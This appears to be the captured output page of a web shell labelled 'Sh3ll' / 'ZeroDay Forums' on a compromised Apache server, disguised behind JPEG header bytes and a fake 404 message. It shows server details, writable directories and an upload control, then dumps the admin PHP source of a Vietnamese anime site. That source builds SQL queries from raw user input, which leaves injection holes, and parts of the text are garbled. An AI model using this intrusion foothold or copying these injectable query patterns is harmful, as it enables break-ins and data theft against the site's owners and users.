ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/okanime.top/code/admin/homepage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/okanime.top/code/admin/homepage/index.php
<?php
$CORE->page_title = 'Admin Settings';
$type='list_slider_home';
if(isset($CORE->input['type']) && $CORE->input['type']!=''){
    $type=$CORE->input['type'];
}
switch ($type){
    default:
        $keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
        $where = " WHERE banner_title<>'' ";
        if($keyword!='')
        {
            $where .=  " AND (banner_title LIKE '%".$keyword."%' or banner_etitle LIKE '%".$keyword."%') ";
        }

        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 100;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_banner ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM tb_banner ".$where." ORDER BY `banner_pos` ASC LIMIT $from, $pageSize");
        $txt_list_banner = '';
        while($row = $DB->fetch_row($query))
        {
            $txt_list_banner .= '<tr>
                                    <td><input name="txt_pos['.$row['banner_id'].'][]" class="form-control" type="text" value="'.$row['banner_pos'].'" style="width:100px;"></td>
                                    <td>'.$row['banner_title'].'</td>
                                    <td><img src="upload/logos/'.$row['banner_img'].'" style="width: 100px;"></td>
                                    <td>'.$row['banner_url'].'</td>
                                    <td>'.date('d-m-Y',strtotime($row['banner_time'])).'</td>
                                    <td>
                                        <a href="?act=admin&code=homepage&type=post_banner&banner_id='.$row['banner_id'].'" class="btn btn-warning"><i class="fas fa-edit"></i> Edit</a>
                                        <a href="?act=admin&code=homepage&type=delete_banner&banner_id='.$row['banner_id'].'" class="btn btn-danger" onclick="return confirm(\'Are you sure want to delete?\');"><i class="far fa-trash-alt"></i> Delete</a>
                                    </td>
                                </tr>';
        }

        $nav = $print->Pagination($totalPage,$pageNum,'menu','?act=admin&code=homepage&type=list_slider_home&fkeyword='.$keyword);
        $html_block = 'list';
        $type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : '';
        if($type2=='update_pos'){
            $pos = $CORE->input['txt_pos'];
            foreach ($pos as $key=>$val){
                $DB->query("UPDATE tb_banner SET banner_pos = '".$val[0]."' WHERE banner_id='$key' ");
            }
            unset($pos);
            $print->refresh('?act=admin&code=homepage&type=list_slider_home');
        }

        break;
    case 'post_banner':
        $banner_id = (isset($CORE->input['banner_id']) && $CORE->input['banner_id']>0) ? $CORE->input['banner_id'] : 0 ;
        if($banner_id==0){
            $row_check = $DB->get_colum_tb('tb_banner');
        }else{
            $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_banner WHERE banner_id='$banner_id' "));
        }
        if(isset($CORE->input['submitbt'])){
            $f = $CORE->input['f'];
            if(intval($f['banner_id'])==0){
                $arr_insert = array('banner_title'=>trim($f['banner_title']),'banner_url'=>trim($f['banner_url']),'banner_target'=>$f['banner_target'],'banner_pos'=>$f['banner_pos'],'banner_time'=>date('Y-m-d H:i:s'));
                $banner_id = $DB->do_insert('tb_banner',$arr_insert);
                if($arr_option['show_en']=='yes'){
                    $DB->query("UPDATE tb_banner SET banner_etitle='".trim($f['banner_etitle'])."' WHERE banner_id='$banner_id' ");
                }
            }else{
                $banner_id = intval($f['banner_id']);
                $DB->query("UPDATE tb_banner SET banner_title='".trim($f['banner_title'])."',banner_url='".trim($f['banner_url'])."',banner_target='".$f['banner_target']."',banner_pos='".$f['banner_pos']."' WHERE banner_id='$banner_id' ");
                if($arr_option['show_en']=='yes'){
                    $DB->query("UPDATE tb_banner SET banner_etitle='".trim($f['banner_etitle'])."' WHERE banner_id='$banner_id' ");
                }
            }
            include 'lib/class.upload.php';
            if($_FILES['image_field']){
                $handle = new upload($_FILES['image_field']);
                if ($handle->uploaded) {
                    $v_image_name = 'banner_'.time().'_'.uniqid();
                    $handle->allowed = array('image/*');
                    $handle->file_new_name_body  = $v_image_name;
                    $handle->file_max_size = '1000000';
                    $handle->image_convert = 'png';

                    $year_now = date('Y');
                    $month_now = date('m');
                    if(!is_dir("upload/logos")){
                        mkdir("upload/logos", 0777);
                    }
                    if (is_dir("upload/logos/" . $year_now)) {
                        if (!is_dir("upload/logos/" . $year_now . "/" . $month_now)) {
                            mkdir("upload/logos/" . $year_now . "/" . $month_now, 0777);
                        }
                    } else {
                        mkdir("upload/logos/" . $year_now, 0777);
                        if (!is_dir("upload/logos/" . $year_now . "/" . $month_now)) {
                            mkdir("upload/logos/" . $year_now . "/" . $month_now, 0777);
                        }
                    }
                    $v_folder = $year_now . "/" . $month_now;
                    $handle->process(ROOT_PATH.'upload/logos/'.$v_folder.'/');
                    $v_image_folder = $v_folder.'/'.$v_image_name.'.png';
                    if ($handle->processed) {
                        if(intval($f['banner_id'])>0){
                            $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_banner WHERE banner_id='".intval($f['banner_id'])."' "));
                            if(isset($arr_option['banner_img']) and $arr_option['banner_img']!='') {
                                @unlink(ROOT_PATH . 'upload/logos/'.$arr_option['banner_img']);
                            }
                        }
                        $DB->query("UPDATE tb_banner SET banner_img='".$v_image_folder."' WHERE banner_id='".$banner_id."' ");
                        $handle->clean();
                    } else {
                        $handle->clean();
                        $print->refresh('?act=admin&code=homepage&type=list_slider_home','!Upload Error: '.$handle->error,5);
                    }
                }
            }
            $print->refresh('?act=admin&code=homepage&type=list_slider_home');
        }
        break;
    case 'block_home':
        include 'block_home.php';
        break;
    case 'add_block':
        include 'add_block.php';
        break;
    case 'list_block':
        include 'list_block.php';
        break;
    case 'post_vitri_block':
        $i = 0;
        $txt = '';
        foreach ($_POST['block'] as $value) {
            $txt .=  $value.'<br/>';
            $DB->query("UPDATE tb_block SET block_pos='".$i."' WHERE block_id='$value' ");
            // Execute statement:
            // UPDATE [Table] SET [Position] = $i WHERE [EntityId] = $value
            $i++;
        }
        echo $txt;
        exit();
        break;
}
include ROOT_PATH . 'include/block/header_admin.php';
?>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
        <div class="container-fluid">
            <div class="row mb-2">
                <div class="col-sm-6">
                    <h1 class="m-0">Quản lý trang chủ</h1>
                </div><!-- /.col -->
                <div class="col-sm-6">
                    <ol class="breadcrumb float-sm-right">
                        <li class="breadcrumb-item"><a href="?">Home</a></li>
                        <li class="breadcrumb-item active">Quản lý trang chủ</li>
                    </ol>
                </div><!-- /.col -->
            </div><!-- /.row -->
        </div><!-- /.container-fluid -->
    </div>
    <!-- /.content-header -->
    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">
            <!-- Small boxes (Stat box) -->
            <div class="row">
                <div class="col-md-12">

                    <?php
                    if($type=='post_banner'){
                    ?>
                        <ul class="nav nav-tabs">
                            <li class="nav-item">
                                <a class="nav-link active" aria-current="page" href="?act=admin&code=homepage&type=list_slider_home">Quản lý banner slider</a>
                            </li>
                            <li class="nav-item">
                                <a class="nav-link" href="?act=admin&code=homepage&type=block_home">Quản lý các block trang chủ</a>
                            </li>

                        </ul>
                    <div class="card">
                        <div class="card-header">Cập nhật banner</div>
                        <div class="card-body">
                            <form action="?act=admin&code=homepage&type=post_banner" method="post" enctype="multipart/form-data">
                                <input type="hidden" value="<?php echo $row_check['banner_id'];?>" name="f[banner_id]">
                                <div class="form-body">
                                    <div class="row p-t-20">
                                        <div class="col-md-12">
                                            <div class="form-group">
                                                <label class="control-label">Tên banner</label>
                                                <input type="text" class="form-control" placeholder="" name="f[banner_title]" value="<?php echo $row_check['banner_title'];?>" required>
                                            </div>
                                        </div>
                                        <?php if($arr_option['show_en']=='yes') { ?>
                                            <div class="col-md-12">
                                                <div class="form-group">
                                                    <label class="control-label">Tên banner tiếng Anh</label>
                                                    <input type="text" class="form-control" placeholder="" name="f[banner_etitle]" value="<?php echo $row_check['banner_etitle'];?>" >
                                                </div>
                                            </div>
                                        <?php } ?>
                                        <div class="col-md-12">
                                            <div class="form-group">
                                                <label class="control-label">Ảnh banner</label>
                                                <?php
                                                if($row_check['banner_img']!='' and file_exists(ROOT_PATH.'upload/logos/'.$row_check['banner_img'])
                                                ) {
                                                    $txt_file_default = 'upload/logos/' . $row_check['banner_img'];
                                                }else{
                                                    $txt_file_default = '';
                                                }
                                                ?>
                                                <input type="file" name="image_field" class="dropify" data-default-file="<?php echo $txt_file_default;?>" data-height="100" data-max-file-size="1M" data-show-remove="false">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-md-6">
                                            <div class="form-group">
                                                <label class="control-label">URL</label>
                                                <input type="text" class="form-control" placeholder="" name="f[banner_url]" value="<?php echo $row_check['banner_url'];?>"  required>
                                            </div>
                                        </div>
                                        <div class="col-md-4">
                                            <div class="form-group">
                                                <label class="control-label">Target</label>
                                                <select name="f[banner_target]" class="form-control" required>
                                                    <option value="_blank" <?php if($row_check['banner_target']=='_blank'){ echo 'selected';}?>>Mở tab mới</option>
                                                    <option value="_parent" <?php if($row_check['banner_target']=='_parent'){ echo 'selected';}?>>Không mở tab mới</option>
                                                </select>
                                            </div>
                                        </div>
                                        <div class="col-md-2">
                                            <div class="form-group">
                                                <label class="control-label">Vị trí</label>
                                                <input type="number" class="form-control" placeholder="" name="f[banner_pos]" value="<?php echo $row_check['banner_pos'];?>" required>
                                            </div>
                                        </div>
                                    </div>

                                    <div class="form-actions">
                                        <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> Cập nhật</button>
                                        <button type="button" class="btn btn-default" onclick="location.href='?act=admin&code=homepage&type=list_slider_home'"><i class="fas fa-ban"></i> Hủy bá»</button>
                                    </div>

                                </div>
                            </form>
                        </div>
                    </div>
                    <?php } ?>
                    <?php
                    if($type=='list_slider_home'){
                    ?>
                        <ul class="nav nav-tabs">
                            <li class="nav-item">
                                <a class="nav-link active" aria-current="page" href="?act=admin&code=homepage&type=list_slider_home">Quản lý banner slider</a>
                            </li>
                            <li class="nav-item">
                                <a class="nav-link" href="?act=admin&code=homepage&type=block_home">Quản lý các block trang chủ</a>
                            </li>

                        </ul>
                    <div class="card">
                        <div class="card-header">
                            Danh sách banner slider
                            <div class="card-tools">
                                <div class="d-flex">
                                    <div class="mr-auto">
                                        <div class="form-group">
                                            <a href="?act=admin&code=homepage&type=post_banner" class="btn btn-primary btn-sm"><i class="fa fa-plus"></i> Thêm mới
                                            </a>
                                            <a href="javascript:void(0);" class="btn btn-primary btn-sm" id="update_pos"><i class="fa fa-bars"></i> Cập nhật vị trí
                                            </a>
                                        </div>
                                    </div>
                                    <div class="ml-2">
                                        <div class="form-group">
                                            <input id="demo-input-search2" type="text" placeholder="Nhập từ khóa và bấm Enter" autocomplete="off" class="module_title_search" value="<?php echo $keyword;?>">
                                            <input type="hidden" value="act=admin&code=homepage&type=list_slider_home" id="txt_code_search">
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="card-body">
                                <form action="" method="post" id="form_quick_update">
                                    <input type="hidden" name="type2" value="">
                                    <table class="table table-bordered color-table info-table">
                                        <thead>
                                        <tr>
                                            <th>Vị trí</th>
                                            <th>Tên banner</th>
                                            <th>Ảnh banner</th>
                                            <th>URL</th>
                                            <th>Ngày gởi</th>
                                            <th>#</th>
                                        </tr>
                                        </thead>
                                        <tbody>
                                        <?php echo $txt_list_banner;?>
                                        </tbody>
                                    </table>
                                </form>
                                <div class="text-right footable">
                                    <ul class="pagination" style="float: right;">
                                        <?php echo $nav;?>
                                    </ul>
                                </div>
                        </div>
                    </div>
                    <?php } ?>

                    <?php
                    if($type=='block_home'){
                        include 'block_home_tpl.php';
                    }
                    ?>
                    <?php
                    if($type=='add_block'){
                        include 'add_block_tpl.php';
                    }
                    ?>
                    <?php
                    if($type=='list_block'){
                        include 'list_block_tpl.php';
                    }
                    ?>
                </div>
            </div>
        </div>
    </section>
</div>
<div id="myModal" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <iframe width="100%" height="600" frameborder="0" allowfullscreen=""></iframe>
        </div>
    </div>

</div>
<script>
    $('.link_xem').click(function () {
        var block_id = $(this).attr('rel');
        var src = '<?php echo $INFO['home_url'];?>index.php?act=block&code=detail&block_id='+block_id;
        $('#myModal').modal('show');
        $('#myModal iframe').attr('src', src);
    });

    $('#myModal button').click(function () {
        $('#myModal iframe').removeAttr('src');
    });
</script>
<script>
    $(function () {
        // CodeMirror
       CodeMirror.fromTextArea(document.getElementById("block_detail"), {
            mode: "htmlmixed",
            lineNumbers: true,
            theme: "monokai"
        }).setSize('100%', 600);
        <?php if($arr_option['show_en']=='yes') { ?>
        CodeMirror.fromTextArea(document.getElementById("block_edetail"), {
            mode: "htmlmixed",
            lineNumbers: true,
            theme: "monokai"
        }).setSize('100%', 600);
        <?php } ?>
    })
</script>
<?php
include 'include/block/footer_admin.php';
?>

ZeroDay Forums Mini